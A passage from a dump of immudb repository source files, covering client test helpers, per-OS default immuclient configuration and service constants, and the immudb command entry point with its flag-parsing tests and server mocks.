nil\n}\n\nfunc NewDefaultClientTest() *ClientTest {\n\treturn &ClientTest{}\n}\nfunc NewClientTest(pr helper.PasswordReader, tkns tokenservice.TokenService, opts *client.Options) *ClientTest {\n\treturn &ClientTest{\n\t\tTs:      tkns,\n\t\tPr:      pr,\n\t\tOptions: *(&immuc.Options{}).WithImmudbClientOptions(opts),\n\t}\n}\n\nfunc (ct *ClientTest) WithTokenFileService(tkns tokenservice.TokenService) *ClientTest {\n\tct.Imc.WithFileTokenService(tkns)\n\treturn ct\n}\n\nfunc (ct *ClientTest) WithOptions(opts *immuc.Options) *ClientTest {\n\tct.Options = *opts\n\treturn ct\n}\n\nfunc (c *ClientTest) Connect(dialer servertest.BuffDialer) {\n\n\tc.Options.WithRevisionSeparator(\"@\")\n\tc.Options.GetImmudbClientOptions().\n\t\tWithDialOptions([]grpc.DialOption{\n\t\t\tgrpc.WithContextDialer(dialer), grpc.WithTransportCredentials(insecure.NewCredentials()),\n\t\t}).\n\t\tWithPasswordReader(c.Pr)\n\tc.Dialer = dialer\n\n\tic, err := immuc.Init(&c.Options)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\terr = ic.Connect([]string{\"\"})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tic.WithFileTokenService(c.Ts)\n\n\tc.Imc = ic\n}\n\nfunc (c *ClientTest) Login(username string) {\n\t_, err := c.Imc.Login([]string{username})\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc CaptureStdout(f func()) string {\n\tcustReader, custWriter, err := os.Pipe()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\torigStdout := os.Stdout\n\torigStderr := os.Stderr\n\tdefer func() {\n\t\tos.Stdout = origStdout\n\t\tos.Stderr = origStderr\n\t}()\n\tos.Stdout, os.Stderr = custWriter, custWriter\n\tlog.SetOutput(custWriter)\n\tout := make(chan string)\n\twg := new(sync.WaitGroup)\n\twg.Add(1)\n\tgo func() {\n\t\tvar buf bytes.Buffer\n\t\twg.Done()\n\t\tio.Copy(&buf, custReader)\n\t\tout <- buf.String()\n\t}()\n\twg.Wait()\n\tf()\n\tcustWriter.Close()\n\treturn <-out\n}\n\ntype PasswordReader struct {\n\tPass       []string\n\tcallNumber int\n}\n\nfunc (pr *PasswordReader) Read(msg string) ([]byte, error) {\n\tif len(pr.Pass) <= pr.callNumber {\n\t\tlog.Fatal(\"Application requested the password more times than number of passwords supplied\")\n\t}\n\tpass := []byte(pr.Pass[pr.callNumber])\n\tpr.callNumber++\n\treturn pass, nil\n}\n"
  },
  {
    "path": "cmd/immuclient/service/configs/immuclient.toml.freebsd.dist.go",
    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nvar ConfigImmuClient = []byte(`dir = \"/var/lib/immuclient\"\naddress = \"0.0.0.0\"\nport = 3323\nimmudb-address = \"127.0.0.1\"\nimmudb-port = 3322\npidfile = \"/var/lib/immuclient/immuclient.pid\"\nlogfile = \"/var/log/immuclient/immuclient.log\"\nmtls = false\ndetached = false\nservername = \"localhost\"\naudit-username = \"immudb\"\naudit-password = \"immudb\"\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"`)\n"
  },
  {
    "path": "cmd/immuclient/service/configs/immuclient.toml.linux.dist.go",
    "content": "//go:build linux || darwin\n// +build linux darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\n// ConfigImmuClient ...\nvar ConfigImmuClient = []byte(`dir = \"/var/lib/immuclient\"\naddress = \"0.0.0.0\"\nport = 3323\nimmudb-address = \"127.0.0.1\"\nimmudb-port = 3322\npidfile = \"/var/lib/immuclient/immuclient.pid\"\nlogfile = \"/var/log/immuclient/immuclient.log\"\nmtls = false\ndetached = false\nservername = \"localhost\"\naudit-username = \"immudb\"\naudit-password = \"immudb\"\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"`)\n"
  },
  {
    "path": "cmd/immuclient/service/configs/immuclient.toml.windows.dist.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage service\n\nvar ConfigImmuClient = []byte(`dir = \"%programdata%\\\\Immuclient\"\naddress = \"0.0.0.0\"\nport = 3323\nimmudb-address = \"127.0.0.1\"\nimmudb-port = 3322\npidfile = \"%programdata%\\\\Immuclient\\\\config\\\\immuclient.pid\"\nlogfile = \"%programdata%\\\\Immuclient\\\\config\\\\immuclient.log\"\nmtls = false\ndetached = false\nservername = \"localhost\"\naudit-username = \"immudb\"\naudit-password = \"immudb\"\npkey = \"\"\ncertificate = \"\"\nclientcas = \"\"`)\n"
  },
  {
    "path": "cmd/immuclient/service/constants/freebsd.dist.go",
    "content": "//go:build freebsd\n// +build freebsd\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"/usr/sbin/\"\nconst ConfigPath = \"/etc/immudb\"\nconst ManPath = \"\"\nconst OSUser = \"immu\"\nconst OSGroup = \"immu\"\n\nvar StartUpConfig = \"\"\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immuclient`, ConfigPath)\n\n// UsageExamples usage examples for linux\nvar UsageExamples = `\nInstall immudb immutable database and immuclient\nimmuclient audit-mode install    -  Initializes and runs daemon\nimmuclient audit-mode stop       -  Stops the daemon\nimmuclient audit-mode start      -  Starts initialized daemon\nimmuclient audit-mode restart    -  Restarts daemon\nimmuclient audit-mode uninstall  -  Removes daemon and its setup\n`\n"
  },
  {
    "path": "cmd/immuclient/service/constants/linux.dist.go",
    "content": "//go:build linux || darwin\n// +build linux darwin\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"/usr/sbin/\"\nconst ConfigPath = \"/etc/\"\nconst OSUser = \"immu\"\nconst OSGroup = \"immu\"\n\nvar StartUpConfig = fmt.Sprintf(`[Unit]\nDescription={{.Description}}\nRequires={{.Dependencies}}\nAfter={{.Dependencies}}\n[Service]\nPIDFile=/var/lib/immuclient/{{.Name}}.pid\nExecStartPre=/bin/rm -f /var/lib/immuclient/{{.Name}}.pid\nExecStart={{.Path}} {{.Args}}\nRestart=on-failure\nUser=%s\nGroup=%s\n[Install]\nWantedBy=multi-user.target\n`, OSUser, OSGroup)\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config file is present in %s. Log file is in /var/log/immuclient`, ConfigPath)\n\n// UsageExamples usage examples for linux\nvar UsageExamples = `\nInstall immudb immutable database and immuclient\nimmuclient audit-mode            -  Run a foreground auditor\nimmuclient audit-mode install    -  Install and runs daemon\nimmuclient audit-mode stop       -  Stops the daemon\nimmuclient audit-mode start      -  Starts initialized daemon\nimmuclient audit-mode restart    -  Restarts daemon\nimmuclient audit-mode uninstall  -  Removes daemon and its setup\n`\n"
  },
  {
    "path": "cmd/immuclient/service/constants/windows.dist.go",
    "content": "//go:build windows\n// +build windows\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage constants\n\nimport \"fmt\"\n\nconst ExecPath = \"\"\nconst ConfigPath = \"\"\nconst OSUser = \"\"\nconst OSGroup = \"\"\n\nvar StartUpConfig = \"\"\n\n// UsageDet details on config and log file on specific os\nvar UsageDet = fmt.Sprintf(`Config and log files are present in C:\\ProgramData\\Immudb folder`)\n\n// UsageExamples examples\nvar UsageExamples = `\nInstall immudb auditor\nimmuclient.exe audit-mode install    -  Initializes and runs daemon\nimmuclient.exe audit-mode stop       -  Stops the daemon\nimmuclient.exe audit-mode start      -  Starts initialized daemon\nimmuclient.exe audit-mode restart    -  Restarts daemon\nimmuclient.exe audit-mode uninstall  -  Removes daemon and its setup\n`\n"
  },
  {
    "path": "cmd/immudb/command/cmd.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/cmd/docs/man\"\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immudb/command/service\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n)\n\nfunc Execute() {\n\tversion.App = \"immudb\"\n\n\t// set the version fields so that they are available to the monitoring HTTP server\n\tserver.Version = server.VersionResponse{\n\t\tComponent: \"immudb\",\n\t\tVersion:   fmt.Sprintf(\"%s-%s\", version.Version, version.Commit),\n\t\tBuildTime: version.BuiltAt,\n\t\tBuiltBy:   version.BuiltBy,\n\t\tStatic:    version.Static == \"static\",\n\t\tFIPS:      version.FIPSBuild(),\n\t}\n\tif version.BuiltAt != \"\" {\n\t\ti, err := strconv.ParseInt(version.BuiltAt, 10, 64)\n\t\tif err == nil {\n\t\t\tserver.Version.BuildTime = time.Unix(i, 0).Format(time.RFC1123)\n\t\t}\n\t}\n\n\tcmd, err := newCommand(server.DefaultServer())\n\tif err != nil {\n\t\tc.QuitWithUserError(err)\n\t}\n\tif err := cmd.Execute(); err != nil {\n\t\tc.QuitWithUserError(err)\n\t}\n}\n\n// NewCmd ...\nfunc newCommand(immudbServer server.ImmuServerIf) (*cobra.Command, error) {\n\tcl := Commandline{P: c.NewPlauncher(), config: c.Config{Name: \"immudb\"}}\n\tcmd, err := cl.NewRootCmd(immudbServer)\n\tif err != nil {\n\t\tc.QuitToStdErr(err)\n\t}\n\n\tcmd.AddCommand(man.Generate(cmd, \"immudb\", \"./cmd/docs/man/immudb\"))\n\tcmd.AddCommand(version.VersionCmd())\n\n\tscl := service.NewCommandLine()\n\tscl.Register(cmd)\n\n\treturn cmd, nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/cmd_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"bytes\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/immudb/command/immudbcmdtest\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/spf13/viper\"\n)\n\nfunc DefaultTestOptions() (o *server.Options) {\n\to = server.DefaultOptions()\n\to.Pidfile = \"tmp/immudbtest/immudbtest.pid\"\n\to.Logfile = \"immudbtest.log\"\n\to.Dir = \"tmp/immudbtest/data\"\n\treturn o\n}\n\nfunc TestImmudbCommandFlagParser(t *testing.T) {\n\to := DefaultTestOptions()\n\n\tvar options *server.Options\n\tvar err error\n\tcmd := &cobra.Command{\n\t\tUse: \"immudb\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\toptions, err = parseOptions()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tcl := Commandline{}\n\tcl.setupFlags(cmd, server.DefaultOptions())\n\n\terr = viper.BindPFlags(cmd.Flags())\n\trequire.NoError(t, err)\n\n\tsetupDefaults(server.DefaultOptions())\n\n\t_, err = executeCommand(cmd, \"--logfile=\"+o.Logfile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, o.Logfile, options.Logfile)\n}\n\nfunc TestImmudbCommandFlagParserWrongTLS(t *testing.T) {\n\tdefer viper.Reset()\n\n\tviper.Set(\"mtls\", true)\n\to := DefaultTestOptions()\n\n\tvar err error\n\tcmd := &cobra.Command{\n\t\tUse: \"immudb\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\t_, err = parseOptions()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tcl := Commandline{}\n\tcl.setupFlags(cmd, server.DefaultOptions())\n\n\terr = viper.BindPFlags(cmd.Flags())\n\trequire.NoError(t, err)\n\n\tsetupDefaults(server.DefaultOptions())\n\n\t_, err = executeCommand(cmd, \"--logfile=\"+o.Logfile)\n\n\trequire.Error(t, err)\n}\n\n// Priority:\n// 1. overrides\n// 2. flags\n// 3. env. variables\n// 4. config file\nfunc TestImmudbCommandFlagParserPriority(t *testing.T) {\n\tdefer viper.Reset()\n\n\to := DefaultTestOptions()\n\tvar options *server.Options\n\tvar err error\n\tcl := Commandline{}\n\tcl.config.Name = \"immudb\"\n\n\tcmd := &cobra.Command{\n\t\tUse:               \"immudb\",\n\t\tPersistentPreRunE: cl.ConfigChain(nil),\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\toptions, err = parseOptions()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tcl.setupFlags(cmd, server.DefaultOptions())\n\n\terr = viper.BindPFlags(cmd.Flags())\n\trequire.NoError(t, err)\n\n\tsetupDefaults(server.DefaultOptions())\n\n\t// 4. config file\n\t_, err = executeCommand(cmd)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"\", options.Logfile)\n\t// 4-b. config file specified in command line\n\t_, err = executeCommand(cmd, \"--config=../../../test/immudb.toml\")\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"ConfigFileThatsNameIsDeclaredOnTheCommandLine\", options.Logfile)\n\n\t// 3. env. variables\n\tt.Setenv(\"IMMUDB_LOGFILE\", \"EnvironmentVars\")\n\t_, err = executeCommand(cmd)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"EnvironmentVars\", options.Logfile)\n\n\t// 2. flags\n\t_, err = executeCommand(cmd, \"--logfile=\"+o.Logfile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, o.Logfile, options.Logfile)\n\n\t// 1. overrides\n\tviper.Set(\"logfile\", \"override\")\n\t_, err = executeCommand(cmd, \"--logfile=\"+o.Logfile)\n\trequire.NoError(t, err)\n\trequire.Equal(t, \"override\", options.Logfile)\n}\n\nfunc executeCommand(root *cobra.Command, args ...string) (output string, err error) {\n\t_, output, err = executeCommandC(root, args...)\n\treturn output, err\n}\n\nfunc executeCommandC(root *cobra.Command, args ...string) (c *cobra.Command, output string, err error) {\n\tbuf := new(bytes.Buffer)\n\troot.SetOut(buf)\n\troot.SetErr(buf)\n\troot.SetArgs(args)\n\tc, err = root.ExecuteC()\n\treturn c, buf.String(), err\n}\n\nfunc TestImmudb(t *testing.T) {\n\tvar config string\n\tcmd := &cobra.Command{}\n\tcmd.Flags().StringVar(&config, \"config\", \"\", \"test\")\n\tsetupDefaults(server.DefaultOptions())\n\n\tcl := Commandline{}\n\n\timmudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{})\n\terr := immudb(cmd, nil)\n\trequire.NoError(t, err)\n\n}\n\nfunc TestImmudbDetached(t *testing.T) {\n\tdefer viper.Reset()\n\n\tvar config string\n\tcmd := &cobra.Command{}\n\tcmd.Flags().StringVar(&config, \"config\", \"\", \"test\")\n\tsetupDefaults(server.DefaultOptions())\n\n\tviper.Set(\"detached\", true)\n\n\tcl := Commandline{P: plauncherMock{}}\n\n\timmudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{})\n\terr := immudb(cmd, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestImmudbMtls(t *testing.T) {\n\tdefer viper.Reset()\n\n\tvar config string\n\tcmd := &cobra.Command{}\n\tcmd.Flags().StringVar(&config, \"config\", \"\", \"test\")\n\tsetupDefaults(server.DefaultOptions())\n\n\tviper.Set(\"mtls\", true)\n\tviper.Set(\"pkey\", \"../../../test/mtls_certs/ca.key.pem\")\n\tviper.Set(\"certificate\", \"../../../test/mtls_certs/ca.cert.pem\")\n\tviper.Set(\"clientcas\", \"../../../test/mtls_certs/ca-chain.cert.pem\")\n\n\tcl := Commandline{}\n\n\timmudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{})\n\terr := immudb(cmd, nil)\n\trequire.NoError(t, err)\n}\n\nfunc TestImmudbLogFile(t *testing.T) {\n\tdefer viper.Reset()\n\n\tvar config string\n\tcmd := &cobra.Command{}\n\tcmd.Flags().StringVar(&config, \"config\", \"\", \"test\")\n\tsetupDefaults(server.DefaultOptions())\n\n\tviper.Set(\"dir\", t.TempDir())\n\tviper.Set(\"logfile\", \"override\")\n\n\tcl := Commandline{}\n\n\timmudb := cl.Immudb(&immudbcmdtest.ImmuServerMock{})\n\terr := immudb(cmd, nil)\n\trequire.NoError(t, err)\n}\n\ntype plauncherMock struct{}\n\nfunc (pl plauncherMock) Detached() error {\n\treturn nil\n}\n\nfunc TestNewCommand(t *testing.T) {\n\t_, err := newCommand(server.DefaultServer())\n\trequire.NoError(t, err)\n}\n\nfunc TestExecute(t *testing.T) {\n\tquitCode := 0\n\tt.Setenv(\"IMMUDB_ADDRESS\", \"999.999.999.999\")\n\tt.Setenv(\"IMMUDB_DIR\", t.TempDir())\n\thelper.OverrideQuitter(func(q int) {\n\t\tquitCode = q\n\t})\n\tExecute()\n\trequire.Equal(t, quitCode, 1)\n}\n\nfunc TestImmudbCommandReplicationFlagsParser(t *testing.T) {\n\tvar options *server.Options\n\tvar err error\n\tcmd := &cobra.Command{\n\t\tUse: \"immudb\",\n\t\tRunE: func(cmd *cobra.Command, args []string) (err error) {\n\t\t\toptions, err = parseOptions()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\treturn nil\n\t\t},\n\t}\n\tcl := Commandline{}\n\tcl.setupFlags(cmd, server.DefaultOptions())\n\n\terr = viper.BindPFlags(cmd.Flags())\n\trequire.NoError(t, err)\n\n\tsetupDefaults(server.DefaultOptions())\n\n\t_, err = executeCommand(cmd, \"--replication-is-replica\")\n\trequire.NoError(t, err)\n\trequire.True(t, options.ReplicationOptions.IsReplica)\n}\n"
  },
  {
    "path": "cmd/immudb/command/commandline.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/spf13/cobra\"\n)\n\n// Commandline ...\ntype Commandline struct {\n\tconfig c.Config\n\tP      c.Plauncher\n}\n\nfunc (cl *Commandline) ConfigChain(post func(cmd *cobra.Command, args []string) error) func(cmd *cobra.Command, args []string) (err error) {\n\treturn func(cmd *cobra.Command, args []string) (err error) {\n\t\tif err = cl.config.LoadConfig(cmd); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif post != nil {\n\t\t\treturn post(cmd, args)\n\t\t}\n\t\treturn nil\n\t}\n}\n"
  },
  {
    "path": "cmd/immudb/command/commandline_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/spf13/cobra\"\n\t\"github.com/stretchr/testify/assert\"\n)\n\nfunc TestCommandline_Immudb(t *testing.T) {\n\tc := Commandline{\n\t\tP: plauncherMock{},\n\t}\n\tassert.IsType(t, Commandline{}, c)\n}\n\nfunc TestCommandline_ConfigChain(t *testing.T) {\n\tcmd := &cobra.Command{}\n\tc := Commandline{\n\t\tP:      plauncherMock{},\n\t\tconfig: helper.Config{Name: \"test\"},\n\t}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\tcmd.Flags().StringVar(&c.config.CfgFn, \"config\", \"\", \"config file\")\n\tcc := c.ConfigChain(f)\n\terr := cc(cmd, []string{})\n\tassert.NoError(t, err)\n}\n\nfunc TestCommandline_ConfigChainErr(t *testing.T) {\n\tcmd := &cobra.Command{}\n\n\tc := Commandline{\n\t\tP: plauncherMock{},\n\t}\n\tf := func(cmd *cobra.Command, args []string) error {\n\t\treturn nil\n\t}\n\n\tcc := c.ConfigChain(f)\n\n\terr := cc(cmd, []string{})\n\tassert.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immudb/command/immudbcmdtest/immuServerMock.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudbcmdtest\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\tpgsqlsrv \"github.com/codenotary/immudb/pkg/pgsql/server\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\ntype ImmuServerMock struct {\n\tOptions     *server.Options\n\tLogger      logger.Logger\n\tStateSigner server.StateSigner\n\tSsf         stream.ServiceFactory\n\tPgsqlSrv    pgsqlsrv.PGSQLServer\n\tDbList      database.DatabaseList\n}\n\nfunc (s *ImmuServerMock) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) server.ImmuServerIf {\n\ts.PgsqlSrv = psrv\n\treturn s\n}\n\nfunc (s *ImmuServerMock) WithOptions(options *server.Options) server.ImmuServerIf {\n\ts.Options = options\n\treturn s\n}\nfunc (s *ImmuServerMock) WithLogger(logger logger.Logger) server.ImmuServerIf {\n\ts.Logger = logger\n\treturn s\n}\n\nfunc (s *ImmuServerMock) WithStateSigner(stateSigner server.StateSigner) server.ImmuServerIf {\n\ts.StateSigner = stateSigner\n\treturn s\n}\n\nfunc (s *ImmuServerMock) WithStreamServiceFactory(ssf stream.ServiceFactory) server.ImmuServerIf {\n\ts.Ssf = ssf\n\treturn s\n}\n\nfunc (s *ImmuServerMock) WithDbList(dbList database.DatabaseList) server.ImmuServerIf {\n\ts.DbList = dbList\n\treturn s\n}\n\nfunc (s *ImmuServerMock) Start() error {\n\treturn nil\n}\n\nfunc (s *ImmuServerMock) Stop() error {\n\treturn nil\n}\n\nfunc (s *ImmuServerMock) Initialize() error {\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/immudbcmdtest/immuServerMock_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudbcmdtest\n\nimport (\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/database\"\n\tpgsqlsrv \"github.com/codenotary/immudb/pkg/pgsql/server\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/stretchr/testify/require\"\n)\n\ntype ssMock struct{}\n\nfunc (ss *ssMock) Sign(state *schema.ImmutableState) error { return nil }\n\nfunc TestImmuServerMock(t *testing.T) {\n\tmock := &ImmuServerMock{}\n\n\tpsqlServer := pgsqlsrv.New()\n\tmock.WithPgsqlServer(psqlServer)\n\trequire.Same(t, psqlServer, mock.PgsqlSrv)\n\n\topts := &server.Options{}\n\tmock.WithOptions(opts)\n\trequire.Same(t, opts, mock.Options)\n\n\tlogger := &logger.SimpleLogger{}\n\tmock.WithLogger(logger)\n\trequire.Same(t, logger, mock.Logger)\n\n\tss := &ssMock{}\n\tmock.WithStateSigner(ss)\n\trequire.Same(t, ss, mock.StateSigner)\n\n\tssf := stream.NewStreamServiceFactory(1)\n\tmock.WithStreamServiceFactory(ssf)\n\trequire.Same(t, ssf, mock.Ssf)\n\n\tlist := database.NewDatabaseList(nil)\n\tmock.WithDbList(list)\n\trequire.Same(t, list, mock.DbList)\n\n\t// Test if calls do not panic\n\tmock.Initialize()\n\tmock.Start()\n\tmock.Stop()\n}\n"
  },
  {
    "path": "cmd/immudb/command/immudbcmdtest/manpageservice.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudbcmdtest\n\nimport \"github.com/spf13/cobra\"\n\ntype ManpageServiceMock struct{}\n\n// InstallManPages installs man pages\nfunc (ms ManpageServiceMock) InstallManPages(dir string, serviceName string, cmd *cobra.Command) error {\n\treturn nil\n}\n\n// UninstallManPages uninstalls man pages\nfunc (ms ManpageServiceMock) UninstallManPages(dir string, serviceName string) error {\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/init.go",
